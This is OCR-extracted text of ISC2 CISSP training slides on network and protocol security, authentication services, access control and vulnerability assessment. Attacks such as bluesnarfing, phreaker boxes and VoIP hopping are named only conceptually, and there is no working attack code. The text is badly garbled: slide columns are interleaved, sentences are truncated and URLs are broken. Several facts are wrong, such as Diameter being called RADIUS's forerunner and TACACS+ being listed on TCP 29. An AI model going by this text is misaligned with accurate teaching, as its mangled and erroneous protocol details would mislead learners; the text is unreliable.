v’ Bluesnarfing — Establishing an unauthorized Bluetooth connection

-+ Once an attacker has successfully connected to a device through B locations, power levels, and
bluesnarfing, they can collect information from a number of sources n encryption

including: i + The results of this collection can
v' Viewing Phone Book Records be applied into a KML format and
v Deleting Phone Book Records overlaiq onto a map for future

v’ Placing Calls JHalss

to map out access point

References

*  https:/i I ip 1/13/Ethernet_Type_II_Frame_format.svg/1024px-
Ethernet_Type_II_Frame_format.svg.png?1566705090233
«  http://www.tech-faq.com/smtp.html
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html
com/2011/11/26/cable-to-cabl i twisted-pail hielded-twisted-pai

e ‘ Warchalking
%
i

i msdn.microsoft.
- hitps://www.directron.com/blog/cableguide

AP with MAC filtering

org/2q

2R
2

AP with WEP

R
®

AP with closed ESSID Honeypot




ISC2 CISSP Training

Secure Communications and Network Attacks

CISSP*

Certified
Information
Systems Security
Professional

Network and Protocol
Security Mechanisms

Secure Communication Protocols

Additional secure communication protocols:
v Signal

communications, videoconferencing, and text message services
v' Secure Remote Procedure Call (S-RPC)

remote systems
v' Secure Sockets Layer (SSL)

based communications

,'/ Transport Layer Security (TLS)

o Unlike SSL TLS can also encrypt UDP and SIP

et (it 1 L

Py R i e

4.3 Implement secure communications channels according to design

ay R oo

Protocols that provide secure services for application-specific communication
v IP Security (IPSec)

o Uses public key cryptography to establish encryption, access control,
nonrepudiation, and message authentication using IP-based protocols

o Predominantly used in VPNs in transport or tunnel mode
v’ Kerberos
o Provides single sign-on (SSO) for users and protects logon credentials
o Uses hybrid encryption (symmetric & asymmetric) to provide authenticati
¥' Secure Shell (SSH)

o End-to-end encryption method used to encrypt plaintext applications s!
as Telnet, RCP, and rlogin, and encrypts protocols like SFTP and SCP.

ey A aniouo. ) e

Authentication is the process of verifying remote user identity during session

Examples of authentication protocols include:

v' Password Authentication Protocol (PAP)

v Challenge Handshake Authentication Protocols (CHAP)

v’ Extensible Authentication Protocol (EAP)

o Lightweight EAP (LEAP)

o Protected EAP (PEAP)

v openlD

v Oauth

v Shibboleth

.+ Some of the more common authentication systems include:
- v RADIUS

v' TACACS

v TACACS+ i

o Cryptographic protocol which provides end-to-end encryption for voice

o Authentication service used to prevent unauthorized execution of code on

o Foundational encryption protocol developed by Netscape to protect web-

o Used to secure web applications, email, and remote access sessions
o Provides confidentiality and integrity and uses either 40-bit or 128-bit key

o Supersedes SSL by providing stronger authentication and encryption

i s

' "Domain Topics

Ry A G i

Secure Communication Protocols

SRy oo

Authéntication Protocols




Voice Communications

Organizations using Private Branch Exchange (PBX) or Public Switched Telephol
Networks (PSTN) must anticipate interception, eavesdropping, tapping, and
protocol level attacks
Many organizations have deployed Voice over Internet Protocol (VolP) into
operational networks systems and can result in numerous types of attacks:
v' Caller ID Spoofing

o VolIP Phishing (Vishing)

o Spam over Internet Telephony (SPIT)
v’ OS Attacks

o Call Manager Vulnerabilities
v' MiTM Attacks
v' 802.1X Authentication Falsification
v VLAN Hopping
v VoIP Hopping
VolIP Traffic Decoding

Secure Voice Communications

w PBX Fraud and Abuse Mitigatiﬂo,r\l:

A Private Branch Exchange (PBX) is an on-premise telephone system that
switches calls between enterprise users on local lines while allowing all users to
share a certain number of external phone lines

PBX reduces costs by not requiring a dedicated line for each user

Attackers (i.e. Phreakers) can use PBX to avoid toll charges, hide their identity,
access personal voice mailboxes, redirect messages, block access, and redirect
inbound and outbound calls

* Methods used to protect PBX-based systems include:
Integrate a calling card system into the PBX

Restrict dial-in and dial-out features

Use unpublished numbers

Block or disable access codes or accounts

Publish and AUP relative to PBX usage

Lockdown all physical access to PBX interfaces

Use correctly configured Direct Inward System Access (DISA)

VoIP Social Engineering Mitigation

» Social engineering is a common non-technical attack that can impact
technically security measures s
Some recommended courses of action to mitigate social engineering attacks
include:

v Always verify unknown personnel through proof of identity

v Require callback authorizations on all voice-only requests for network
alterations or activities

Classify information and specify through policy what information can be
discussed and confirmed using voice communications

o Personnel Information and Status

o Credentials

o Networking Details

o Dial-In Numbers

v

AN i AN
ot & il S bt R ol # il S

" Phreaker Tools and Mitigatiovn v‘

* « Black Box
v' Atool used to manipulate line voltages and
/ steal long distance services
* Red Box
v Atool used to generate tones of coins being
used in a pay phone
* Blue box
v Atool that generates a 2600 Hz tone to
interact with telephone trunk systems
» White box
v Atool that generates a Dual-Tone Multi-
Frequency (DTMF) generator that can be
used to control a phone system

TR
ol

Multimedia Collaboration




Remote Collaboration Security
Remote collaboration software has extended organizations ability to communicate

and quicken task completion
Some of the key collaboration tools that require increased security attention

B 2 §ie

v' Remote Meeting

= ol xcorfuence
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v' Instant Messaging
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Email Security Objectives

As with any technology, email security should meet the security principles of
confidentiality, integrity, availability, and non-repudiation

v' Restrict email access only to authorized personnel

v' Authenticate and verify message origination

v’ Classify content

v’ Ensure all personnel have signed AUP relative to email use

v’ Establish proper access control to email

Managing Email Security

? [lnencrypted Email Delivery”

Simple Message Transfer Protocol
Multipurpose Internet Mail Extensions

Sender

Email
Application

Recipient

Email

Application

v Ensure message privacy

MIME
Encoding

MIME
Encoding

v' Specify email backup and retention policies

Mail
Transfer

Mail
Transfer
Authority

' Email Security Solutions

. Emalil security services that secure transmission, delivery, and email storage
v Multipurpose Internet Mail Extensions (MIME)

o Email standard extending the character set used by SMTP to send email
v MIME Object Security Services (MOSS)

Authority

? ‘V’Encrypted Email Delivery

Simple Message Transfer Protocol

Shared Private Key

Message Encryption Ciphertext

o A predecessor of PGP that provides confidentiality, authentication, and
nonrepudiation (DES/RSA) and integrity (MD2/MD5) of MIME-based email

v' Secure Multipurpose Internet Mail Extensions (S/MIME)
o An email standard providing confidentiality (PKCS) and authentication (X.509)
v Privacy Enhanced Mail (PEM) i

Process

Symmetric Cryptosystem

Recipient Public Key

Message | Encryption Ciphertext

o Provides confidentiality, authentication, and nonrepudiation (DES/RSA) and
integrity (X.509) 3

Process

Asymmetric Cryptosystem

Secure Multipurpose Internet Mail Extensions
Shared Private Key

Decryption
7| Process

Recipient Private Key

Decryption
Process




; Ema|I Security Solutioné

Additional email security solutions:
v DomainKeys Identified Mail (DKIM)

names for email delivery
v’ Pretty Good Privacy (PGP)

including e-mail, files, directories, and disk partitions
v Opportunistic TLS for SMTP Gateways

v' Sender Policy Framework (SPF)

o Uses path-based authentication

Remote Access

Services to provide remote systems access:
v Dial up services using modem systems
v Virtual Private Network (VPN) connections
v Terminal services through thin clients
v' Remote application connections

o Remote Desktop Protocol

o Microsoft RDP / Linux xRDP

o Virtual Network Computing (VNC)

o TeamViewer / GoToMyPC / XenDesktop
v’ Telephony

o Plain Old Telephone Service (POTS)

o Public Switched Telephone Network (PSTN)
o Private Branch Exchange (PBX)

V ’D‘iaI-Up Protocols

Common dial-up protocols:
v' Serial Line Internet Protocol (SLIP)
o Alegacy protocol used to help transmission

S T

o Uses digital signatures, identify-based authentication, to verify domain

o An encryption program used to sign, encrypt, and decrypt digital objects

o A setting that attempts to send TLS encrypted email to receiving servers

o Uses Mail Transfer Authorities (MTA) through DNS for email sending

TR T
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Remote Access
Security Management

s i e

' Remote Access Security

Remote access security requires deep understanding of the technologies being
deployed :
v" Remote Connectivity Technology

o DSL, ISDN, cable modem, wireless, satellite
¥' Transmission Protection

o VPNs, IPSec, L2TP, SSL/TLS
v' Authentication Protection

o PAP, CHAP, EAP, LEAP, and PEAP
v Remote User Assistance
Organizations must understand the best practices relative to dial-up protocols
¥' Point-to-Point Protocol (PPP)
v Serial Line Internet Protocol (SLIP)
Centralized Remote Authentication Services
¥ Remote Authentication Dial-In User Service (RADIUS)

3 Termina! Acgﬁ_sy Controller Access-Control System (TACACS)

ST A TSR o

of asynchronous serial connections

o Not commonly used today, but still
supported through backward capable
systems

¥' Point-To-Point Protocol (PPP)
o Areplacement for SLIP that transmits

Virtual Private Networks

NoP
configuration |

TCP/IP packets over technologies including
ISDN, VPN, and Frame Relay
o PPP provides authentication, error
detection, link quality monitoring, load
balanpingé' d compression




VPN Operation

A VPN is a communication channel that allows point to point transmissiol
of traffic over an untrusted network

VPNs connect specific clients, servers, routers, or any other systems and
provide both confidentiality and integrity of data

* VPNs create a tunnel between endpoints and networks that encapsulate:
and protects data

v Tunneling does not guarantee encrypted transmissions
Some of the more common VPN protocols

v Point-to-Point Tunneling Protocol (PPTP)

v Layer 2 Forwarding (L2F)

v’ Layer 2 Tunneling Protocol (L2TP)

v : [Internet Protocol Security (IPSec)

i

Tunneling Protocols

- Point-to-Point Tunneling Protocol (PPTP) — Unencrypted
v' Layer 2 protocol that encapsulates PPP packets
v PPTP — TCP Port 1723
Layer 2 Forwarding (L2F) — Unencrypted
v' Cisco proprietary
v’ Creates tunnels for dial-up connections and provides authentication
v  L2F — TCP Port 1701
Layer 2 Tunneling Protocol (L2TP) — Unencrypted
v' Microsoft / Cisco Collaboration

v L2TP — UDP Port 1701

i et (O e } ani

Switching Technologies

- ¥ Combination of PPTP and L2F and uses Internetwork Packet Exchange (IPX), -
Systems Network Architecture (SNA) (i.e. IBM), and Internet Protocol (IP) .

‘;,‘Three different switching technologies to understand:

Tunneling

» Although VPNs are one method of tunneling network traffic, tunneling
refers to the establishment of a dedicated connection between ¢
endpoints over an untrusted network

= Tunneling allows different protocols to run over a network that does
not support the protocol without the tunnel

» In general, tunnels operate on Layer 3, but other tunnel layers can be

created

A )
c 4
= A4
L{ ) = -
> \\_)\/‘/ =~
Host A ) Host B i
3 Sl ¢ suidl 8Ky
7 T o
; VPN Comparisons
VEN Authentication Native Supported | Dial-Up |Simultaneous
1 Protection yption Prot ls ted| C tion
PPTP Yes No PPP Yes P2P Only
L2F Yes No PPP / SLIP Yes P2P Only
N
L2TP Yes ° 333 Yes P2P Only
Can use IPSEC
IPSec Yes Yes IP Only No Multiple
€y 1

-

"~ Switching Technology Types

v' Circuit Switching

v When two network endpoints establish a dedicated channel prior to
communicating (i.e. Analog Telephone Networks)

v' Packet Switching
v Amethod of transferring network data by creating data objects called packe

v’ Packets contain necessary control and payload information necessary for
data transmission

v Virtual Circuits

v Network data sent through packet switched networks that seems like a
dedicated physical layer link between endpoints

v Permanent Virtual Circuit (PVC) — Dedicated leased line

v' Switched Virtual Circuit (SVC) - Like a dial-up connection that search
__for the best path between endpoints




Constant Traffic Bursty Traffic
Fixed Known Delays Variable Delays
Connection Oriented Connectionless

Sensitive to Connection Loss Sensitive to Data Loss
Used Primarily for Voice Used For Any Type of Traffic







Access Control Access Control

What form of authentication is: What form of authentication is:

Something you are

Authentication Types Authentication Types

What type of authentication is:
Single Factor Authentication

v Only 1 authentication method is used to verify an identity

v/ Example: Username and Password

Mutual Authentication

v When multiple entities authenticate each other

Multifactor Authentication

v Multiple authentication methods are used to verify an identity
v/ Example: Username and Password, Temporal Token Value

Authentication Types

Authentication Types

What type of authentication is: What type of authentication is:

........

oL
MAY2016
%\APLE

S

+ - 20iemavos + Enter your CURRENT PIN:
JOHNF.
—
= ]+ )]
% @ A ClarPNenty G Concel
et s P oo
Something you are Something you are

Single Factor
Authentication




T

‘Au\:thentication Typeslr

What type of authentication is:

Untes saes Govermmant

MAY2016

\' e PIN Entry
A
T pols

Enter your CURRENT PIN:

A ClorPNenty @i Cancel

onificaion und Praioga Card

: Something you know
Something you have

 Multifactor Authentication
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'AAA & Authentication Services
“Triple A” — AAA
v’ Authentication - Proving an identity

v Authorization — Approved access level based on identity

v Accounting - Tracking and logging identity actions
Directory Services

v’ Organizational Units (i.e. Functional, Logical)

v' Common Names

Authentication Services

v Systems‘}\designed to prove identity for access
Federated Identification

Identify proved ac‘:;d{ss multiple disparate systems

Biometric Error Ratings

Prior to using a biometric authentication system, users are
required to register in the system through an enroliment process
» Biometric systems then categorize how effective they are based on

whether they correctly or incorrectly identify personnel attempting to
access the system

v False Positives (Type 1 Error)
o False Acceptance Rate (FAR)
v False Negatives (Type 2 Error)
o False Rejection Rate (FRR)
v Crossover Error Rate (CER)
o The point at w[\ich Type | and Type Il errors are equal

sl Lo i

v’ Directory management of organizational users, hosts, and activities i

Passwords

When creating passwords for access
_control, there are several settings to account
or in organizational policy:

v Maximum Age

v Password Complexity

v Password Length

v Password History

v Password Phrases

NIST Special Publication 800-63B

Digital Identity Guidelines

Authentication and Lifecycle Management

v Cognitive Passwords
Best practices for proper password COMPUTER SECURITY

lementation has been significantly changed
e latest NIST Special Publication 800-63B

National Institute of
Standards and Technology
u. riment of Commerce

Biometrics

< Different biometric authentication methods:
Fingerprints

Face Scans

Retina Scans

Iris Scans

Palm Scans

Hand Geometry

Heart / Pulse Patterns

Voice Pattern Recognition

Signature Dynamics

SRE s S e
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‘Biometric Error Rating‘s: ;

- The following graph illustrates FAR, FRR, and CER

Error k
Rate False False

% Acceptance Rejection
Rate Rate

Crossover
Error
Rate

| CER 1 CER

1 Accuracy | Accuracy

False Rejection

Decision Threshold

False Acceptance

g




Decreasing FAR Increasing FAR

False
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Rate 1
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FAR 1
CER 1
Accuracy |

FAR |
CER |
Accuracy 1

False
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False
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Rejection
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Decision Threshold Decision Threshold

PAP

» Password Authentication Protocol
v Cleartext username and password
v Simple allow or deny decision
» Security Gaps
v Vulnerable to cleartext traffic analysis
v Vulnerable to MITM attacks

Authentication Protocols

Username: Bob
Password: P@sswOrd1

Allow / Denx

LOGON ©

SPAP

+ Shiva Password Authentication Protocol 1
v Replacement for PAP A
v Encrypts username and password |
» Security Gaps
v Vulnerable to MITM attacks

Username: #####H#H#H#
Password: #####H#HHH#

Allow / Denx




HOTP

Hash-Based Message Authentication Protocol One-Time Passwdrd
¥' Two factor authentication
o User secret key
« Something you know
o Seed counter

« Something you have

If CG OTP == SG OTP, Allow

A protocol to manage user credentials and authenticate system access
Kerberos requires the use of a:
v' Key Distribution Center (KDC)
o Authentication Service (AS)
o Ticket Granting Service (TGS)
v’ Kerberos enabled application server

Se
Client W
Access Granted

; eﬂ o
s 00 7 o &

g SR TR
. - ik Microsoft version of CHAP
* Challenge Handshake Authentication Protocol v Designed to defeat MITM attacks
5 v Password is never transmitted
v Designed to defeat MITM attacks v Two versions
o Version 1
v/ Password is never transmitted o LANMAN Compatible
o Client Authentication
o Version 2
3 Hashes o Non-LANMAN Compatible
1 Login Request Sceﬁ:.'f;ég',zl o Mutual Authentication 3 JJashes
e and Password 1 Login Request o Challenge.
Session ID “ = andF
R_a_ndom Value (Clﬁllenge) 2 Session ID w
. Random Value (Challenge) 2
5 Hash Sent to Server
> 5 Hash Sent to Server
Hashes
Session ID, Allow / Deny 7 6 Server 4 Pistiio
Challenge, Compares Session ID, & Allow / Deny i 6 S et
and Password Client and Challenge. <€ Compares
Server Hashes ARl Eae Client and
i 7 & Server Hashes
= i SREEH S
o <

Time-Based Message Authentication Protocol One-Time Password
v Two factor authentication
o User secret key
» Something you know
o Seed counter
* Something you have

OTP If CG OTP 1= SG OTP, Deny OTP If CG OTP 1= SG OTP, Deny
—_— —_—
g Allow / Deny Allow / Deny

User User

Sshared Séhared Secret Secret

ecret ecret Key Key
Client Server PO Client Server r—o

Generated Generated i | Generated Generated i
oTP oTP

O HMAC O Time

E OTP |« EEEEEE oTP
pgqn!er ‘ Algorithm Counter M Algorithm

TR S e S
i Kerberos Token Authentication

« Several hardware and software authentication OTPs
* Multi-Factor Authentication
* Secure Token Examples

+  Kerberos provides users with: v VIP Access
v' Ticket to Get Tickets (TGT) v RSA
v Service Tickets
- TGd TGT v Trezor
Seerce Ticket
Application
Server

TOTP

If CG OTP == SG OTP, Allow




EAPoL

Extensible Authentication Protocol over LAN
A wired network port authentication protocol

NAC

EAP over RADIUS
——

g EAPoL
—

Client

i Authenticator
“Supplicant”

LDAP

networks and provides authorization to a system
LDAP benefits include:

v Open Source

v’ Industry Standard

v Vendor Neutral

v Based on X.500

- LDAP is the basis of Active Directory

= Unencrypted LDAP operates over TCP port 389
Secure LDAP, LDAPS, operates over TCP port 636

RADIUS

and accountability

Operates over TCP or UDP with standard ports of:
v' UDP 1645, UDP 1646, UDP 1812, UDP 1813

» Network access servers of many types can be used to provide access to the

RADIUS server including:
v Dial-Up / VPN / Wireless Access Point / 802.1x

o2
;e T ER = o )
g BEw

Network
Client e
Server

Used in the IEEE 802.1X protocol which establishes physical port-base

o —
Authentication g XEED
Server
Client Access Point Authentication
“Supplicant” Authenticator Server

 Lightweight Directory Access Protocol provides a way to share distributed
directory information relative to users, applications, systems, and

~ Remote Authentication Dial-In User Service provides authentication, authorizatior‘i2

RADIUS sends of cleartext username and password during authentication

——

EAP

» Extensible Authentication Protocol

» Provides encapsulation of Layer 2 traffic
» Authentication protocol used in:

v' Point-to-Point Protocol (PPP)

v |EEE 802.11 — Wireless LAN

£

“AAA” includes:

v' Authentication

v' Authorization

v' Accountability

Authentication protocols of this type include:
v RADIUS - Remote Authentication Dial-In User Service

v DIAMETER - “Twice the RADIUS”

v TACACS — Terminal Access Controller Access-Control System

Diameter

-+ Diameter is the forerunner of RADIUS and is focused on peer-to-peer
~ versus client / server connections
» Connection oriented transport layer protocol
v’ Transmission Control Protocol (TCP), Port 3868
v’ Stream Control Transmission Protocol (SCTP), Port 3868
» Backwards compatible with RADIUS
Integration of error messaging
Provides congestion control
Requires either TLS or IPSec configuration

88 -8

Peer (. i Peer Peer




TACACS TACACS+

.3‘ Terminal Access Controller Access-Control System provides authenticatio
| authorization, and accountability ¥

- Sends username in cleartext but encrypts the password during authenticatio

* ‘Operates over TCP or UDP at the Transport Layer, but is mostly commonl
~ seenon:

- TACACS+ - Terminal Access Controller Access-Control System +
Improved legacy TACACS and XTACACS by accepting multiple credentials
- TACACS+ encrypts the entire authentication process

Provides Authentication, Authorization, and Accountability

I v TCP49
woa woa
sl me g ; ; s me g 4
g 88 - g8
Client ':\i';"é"sr: Tégr/-\)g:rs Client ':\i';"é"sr: TA;/:VZ?»,

Server Server

Authentication System Summary SAML
Authetication |Transport . Security Assertion Markup Language (SAML) is an open-source standard
System Protocol EoE based on digitally signed XML documents that format user authentication
Authentication: 1645 and authorization information
,_.;;" . RADTIUS UDP Accounting: 1646 = Provides a single-sign-on (SSO) that shares authentication and
0 Authentication: 1812 authorization information between systems without direct login to each
Accoukands 100> | |+ Originally designed as an open internet security standard but became the
Diameter S'I‘;:TPP 222: SSO standard; OAUTH became the open internet security standard
TACACS+ TCP 29 SAML defines two types of providers
UDP 88 v Identity Provider — The system that holds a user's authentication
e TCP 88 and authorization information
LDAD mep Unencrypted: 389 v Servicg Provider — A remote system or application that a user
Encrypted: 636 would like to access
n ; N ¥
' OAUTH ' Shibboleth

» Shibboleth is a web-based single sign-on system that can
communicate with services outside of a user’s organization

« |dentity Provider (IdP) — authenticates the user
» Service Provider (SP) — performs the SSO process for the resource

The Open Authorization standard (OAUTH) was developed by Google
and Twitter to account for SAMLs inability to work with mobile devices

Unlike SAML which is XML-based, OAUTH is JSON-based

Whereas SAML provides authentication and authorization services,
OAUTH only provides authorization services

Open ID Connect: A newer authentication standard that is built on top of
OAUTH and provides the ability to sign-in to any web resource that
accepts OpenlD

User
Web Browser

U
0 Ll

4

Identity Provider (IdP) Service Provider (SP)
Home Organization Resource Organization

hipboleih:netlconﬁuencé{ylsalaleONCEPTlHome
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ISC2 CISSP Training

Controlling and Monitoring Access

CISSP*

Certified
Information
Systems Security
Professional

Perrﬁissions, Rights, and Privilégés

" Rights
v Identify tasks that users or groups can perform for a specific activity and
are usually defined based on roles :

have rights to: i

o Read

o Write

o Delete

o Execute
Privileges
¥ The combination of rights and permissions assigned to users that result in
privileges assigned

Implicit Deny

When configuring access control lists (ACLs) for routers or firewalls, the
location of rules in the list matters

The anchor rule of every ACL should be an implicit deny (i.e. Deny All)
All rules prior to the implicit deny should be permit statements

» In the following Cisco router ACL which rule can be removed without
affecting the overall security of the ACL?

Routergshow access-lists

Standard IP access list 1
10 permit host 152.1€8.50.1 (€ match(es))
20 deny 192.1€8.50.0 0.0.0.255 (5 match(es))
30 permit 192.1€8.70.0 0.0.0.255 (€ match(es))
40 deny 192.1€8.70.0 0.0.0.285

~+ The following authorization mechanisms are key to establishing and

Permissions g
v Settings that determine what a user or group can do with objects that they

Domain Topics

5.4 Implement and Manage Authorization Mechanisms

- Authorization Mechanisms

effective access control policy
v’ Separation of Duties and Responsibilities*
v Need to Known*

v Least Privilege*

v Implicit Deny

v' Access Control Matrix

v’ Capability Table

v’ Constrained Interface

v’ Content-Dependent Control
v’ Context-Dependent Control

!
UNAUTHORIZED ACCESS

Introduced

Access Control Matrix

Discretionary access control is aided by an access control matrix (ACM)
to specify how subjects and objects may interact

ACM’s can be based on security policy and should be checked frequently
to ensure permissions do not creep

Objects
A

I 1

]
S Filea FileB Filec Fied

User A
Subjects UsrB
User €




Use these felds,tabs and

‘control to set user constraints.
‘The Distrc tab only appearsin
multidistrictnstallations.




Aftribute-Based Access Control

I« Advanced access control model using context-aware access control
» Attributes can be defined with structured languages to defines access

control rules and evaluate access requests

. Subjects and objects are defined with labels, known as properties,
that describe all entities that will require authorization decisions

Environment Information Asset

o Subject + Enyionmentat
Attbutes

1 i
N2

Policy Authorization Engine

»@ﬁ%:ﬁ:ﬁ”

Vo Arr burzs

Access Control Attacks

* There are numerous access control attacks to be familiar with
v Access Aggregation Attacks
v’ Password Attacks*

v Dictionary Attacks*

E v Brute-Force Attacks*

v’ Birthday Attack*

v Rainbow Table Attacks*

v’ Sniffer Attacks*

v’ Spoofing Attacks*

v Social Engineering Attacks*
v' Phishing*

v Spear Phishing*

v' Whaling*

¥ Vishing*

Accéss Control Protection Methods

» Access control protection methods:
v Control Physical Access to Systems*
E v’ Control Electronic Access to Files*
v Create a Strong Password Policy*
v Hash and Salt Passwords
v Use Password Masking
v’ Deploy Multifactor Authentication*
v Use Account Lockout Controls*
v’ Use Last Logon Notification*
v Educate Used About Security*

viously Introduced

* Previously Ints

Risk Identification

'+ Three factors to considering organizational surface area and security
| posture: |

v  Identify assets il
v Identify threats %

v' |dentify vulnerabilities

o
il

Access Aggregation Attacks

Collection of unprocessed data that results in sensitive information

Generally considered relevant to database numerous queries, but can
also be applied to other technologies

Sources of non-sensitive information can include:

v Organizational locations
IP Addresses B
Available services
Employee Information
Social Media Usage
Organizational Interactions

S S

Password Salting

~ + Operation systems store credentials in a hashed format when at rest
v Linux
o MD5/SHA-256 / SHA-512
v' Windows
o LAM Manager Hash (LM Hash)
o Windows NT Hash (NT Hash)
* Ahash salt is an added security feature to improve hash security

Password Salt Hash
Bacon R i 56583656246065(fb96e23674a21€235 |
as| %
Bacon wjm $&CJDks — | M9 | — 23f066246926(722005225380c5adf3d







ISC? CISSP Chapter 15

Security Assessment and Testing

Certified
Information
Systems Security

CISSPO Professional

Security Assessment Program

» What activities should we focus on to develop a security
assessment program?
v Identify Assets
v Assessment Policy
o Assessment Frequency, Specify Security Assessment
Roles, Annual Budget, Assessment Metrics
v Develop Best Practices
o Technical Assessments (Ports, Services, OS
Configurations, Password Policy, STIG Applications,
Awareness Training)
v Development Vulnerability Management Program
o Vulnerability Scans, Analyze Results, Conduct Proper
Vulnerability Correction, Patch Management

Vulnerability Management Workflow

»> Detect, organize, and
correct organizational
vulnerabilities prior to an
attack occurring

testi ng
-, ” 51 [&1 \d

J ) )
0 ( security | performance
g

assessment | audit

p % 9
> Reduce organizational ummmﬁmmwm security

“surface area”

» Important considerations
when establishing a
vulnerability management P ) P 5 lg KHU

N R A e
plan: disaster network | requlatory
recovery analysis

compliance

s
eng| eaknesses | measurement

v Requirements ( d .
J , e )

v Preparing Organizational s [
Assets examlnaliun{

v Select vulnerability
assessment tools

v Establish a process to
correct vulnerabilities

Building a Security Assessment
and Testing Program

Security Assessment Program

» A security assessment program should include the following

types of security evaluations:
v Security Tests
v Security Assessments
o NIST SP 800-53
v Security Audits
Security controls should be tested frequently to ensure that
controls are adequate against threats
Types of testing
v Security Audits
o Internal
o External
o Third-Party
Audit Standards
v COBIT
v IS0 27001

Vulnerability Management Requirements

» Prior to conducting any technical assessments of an

organization, it is important to understand what
statutory and regulatory requirements apply to a given
industry

Examples of specified vulnerability management programs:
v Payment Card Industry Data Security Standard (PCI DSS)
v Federal Information Security Management Act (FISMA)

Examples of unspecified vulnerability management
programs :

v Health Insurance Portability and Accountability Act (HIPAA)
v Gramm-Leach-Bliley Act

Roquirementg
PN

5

Q] i &



Vulnerability Management Policy Vulnerability Analysis

ing CWE & Consensus

o 8o q . »Multiple organizations
» The requirements for vulnerability management with PCI consolidate and share EXPLOIT.

and_FISMA do not apply to most organizations outside of vulnerabillityldatatwhichlcan be DATABASE
their scope

leveraged during Pre-Systems

» It is recommended that organizations depending on Acquisition R o DA
electronic systems apply a similar vulnerability v National Vulnerability
management policy Database
v Common Vulnerabilities and

» Some vulnerability management considerations Exposures

v Determine which systems in an organization to track 7 Gl Tealsness Bhrmeraien

o All, Some, or None? v Exploit Database

o Asset Inventory List > Apply understanding of existing

v'Data Classification Level vulnerabilities against

o Commercial, Private, or Government organizationalfresourcesiandiwrap
this knowledge

v'What is the system function?

) » In addition, understanding of
o Development, Test, or Production g

specific hardware, firmware, and
v How often are scans / assessments required software vulnerabilities benefit

o Corporate policy or regulation Gl 1257 ACERIEIATNG] Mo
responsive Protectlve measures

Vulnerability Scanning Tools Security Analysis Standardization

> A list_: of the more common vulnerability management and » There have been attempts to standardize security
scanning tools including: focused information across industries
v'Nessus (Tenable)

» The National Institute for Standards and Technology
v QualysGuard (Qualys)

(NIST) in conjunction with the security community has

v Nexpose (Rapid7)

v OpenVAS (Open Source)

v'Nikto (Open Source)

v Microsoft Baseline Security Analyzer (Microsoft)

Common Configuration Enumeration

» Establishes unique identifiers to security-related system

configuration issues

» https://nvd.nist.gov/config/cce

Nw Computer Security Resource Center ~Ner
ational Institute of
National Vulnerability Database Standards and Technology

US. Deparment ercn

# Generalv ¥ \ulnerabilitiesv & Vulnerabiity Metricsv  # Products~ & Configurations (CCE) ~ @Infov  +OtherSitesv  Q Search v

Configuration > CCE
Common Configuration Enumeration (CCE) Reference Data.

CCE provides unique identifiers to system configuration issues In order to faciltate fast and accurate correlation of configuration ata across multiple information sources and tools.
For example, CCE Identfiers can be used to associate checks in configuration assessment tools with statements in configuration best-practice

The catalog of security controls from NIST SP 800-53 may be found here.
Beta CCE to 800-53 Mappings:

. Be

Jlappings (GZ) - 0.43MB, Updated: 12/2/2015 5:05:36 PM EST
Jappings (ZIP) - 0.43MB, Updated: 12/2/2015 5:05:36 PM EST
CCE Standards Information

General information about CCE

resulted in the Security Content Automation Protocol
(SCAP)

v'National Vulnerability Database (NVD)
» SCAP Standards
v Common Configuration Enumeration (CCE)
v Common Platform Enumeration (CPE)
v'Common Vulnerabilities and Exposures (CVE)
v'Common Vulnerability Scoring System (CVSS)

v Extensible Configuration Checklist Description Format
(XCCDF)

v Open Vulnerability and Assessment Language (OVAL)

Common Platform Enumeration

v Structured naming scheme for IT systems, software, and packages

v https://nvd.nist.gov/products/cpe

NW Computer Security Resource Center Nsr
National Vulnerability Database Standards and Technology

# Generalv ¥ Vulnerabilies & Vulnerabilty Metricsv ~ # Products & Configurations (CCE) ~ @ nfov  +Other Sitesv ~ Q Search v

Products > CPE

Official Common Platform Enumeration (CPE) Dictionary

CPE is a structured naming scheme for information technology systems, software. and packages. Based upon the generic syntax for Uniform Resource Identifiers (URI), CPE includes
a formal name format, a method for checking names against a system, and a description format for binding text and tests to a name

Below s the current offcial version of the CPE Product Dictionary. The dictionary provides an agreed upon list of offcial CPE names. The dictionary is provided in XML format and is
available to the general public. Please check back frequenty as the CPE Product Dictionary willcontinue to grow to include all past, present and future product releases. The CPE
Dictionary is updated nightly when modifications or new names are added. Archived CPE dictionaries are avallable at hp://statlc nva.nist gov/feeds/mi/cpe/dictionay

As of December 2009, The Naional Vuinerability Database is now accepting conributions to the Official CPE Dictionary. Organizations inferested in submitting CPE Names shoud
contact the NVD CPE team at cpe_dictionary@nist gov for help wih the processing of their submission.

The CPE Dictionary hosted and maintained at NIST may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States.
Attribution would, however, be appreciated by NIST.

CPE Dictionary:

1. Official CPE Dictionary v2.3 - 35.75MB, Updated: 0/8/2017
2. Official CPE Dictionary v2.2 - 37.20MB, Updated: 9/8/2017

Show CPE results for “Microsoft Office 2013”
Show CPE results for “Cisco 3925 Router”



Common Vulnerabilities and Exposures

» Standardized naming convention for vulnerable software
> https://cve.mitre.org

s \/j Common Vulnerabilities and Exposures
\ O o The Standard for Information Security Vulnerability Names F""""‘“Dm

Community & Partners | Blog | News | Site Search

Home | CVE IDs | About CVE | CVE in Use

TOTAL CVE IDs: 90064

CvE Biog Latest CVE News [Focuson ——— ]
pro— PO

d as CVE Numbering Authorities

CVE Now on LinkedIn and Twitter

Numberin

or “CNAS," are how the CVE List

CVE Nu A os, Please follow us on Twitter for the latest from CVE:
s bult. Every C ided to the list is assigned by a CNA.

feed of the latest CVE IDs

As of today, there are 75 total CNAS participating in the e - news and announcements about CVE

CVE program from around the world with 14 countries now
representes

us on LinkedIn to comment on our news

Please consider joini Blog posts:

g us as a CNA

Search CVE results for “Apache”
Search CVE results for “Ubuntu 12

Common Vulnerability Scoring System

» Components that make up the CVSS Base Vectors:

CVSS2# AV:N/ / / C:P/ I:N/ A:N

AV - Access Vector Metric

C - Confidentiality Metric
I - Integrity Metric
A - Availability Metric

CVSS Scores

» The overall CVSS score is composed of multiple components
based on the National Vulnerability Database and is
composed of:

v Exploitability Score

o Exploitability = 20 * AV * AC * Au
v Impact Score

o Impact = 10.41 * (1 -
v Impact Function

o Impact Function = 0, If Impact = 0

o Impact Function = 1.176, If Impact # 0

(L -C) * (L -1I)* (1-2))

» CVSS Base Score is calculated by:

CVSS = ((0.6 * Impact) + (0.4 * Exploitability) - 1.5) * Impact Function

Common Vulnerability Scoring System

v Common scoring method for vulnerable software

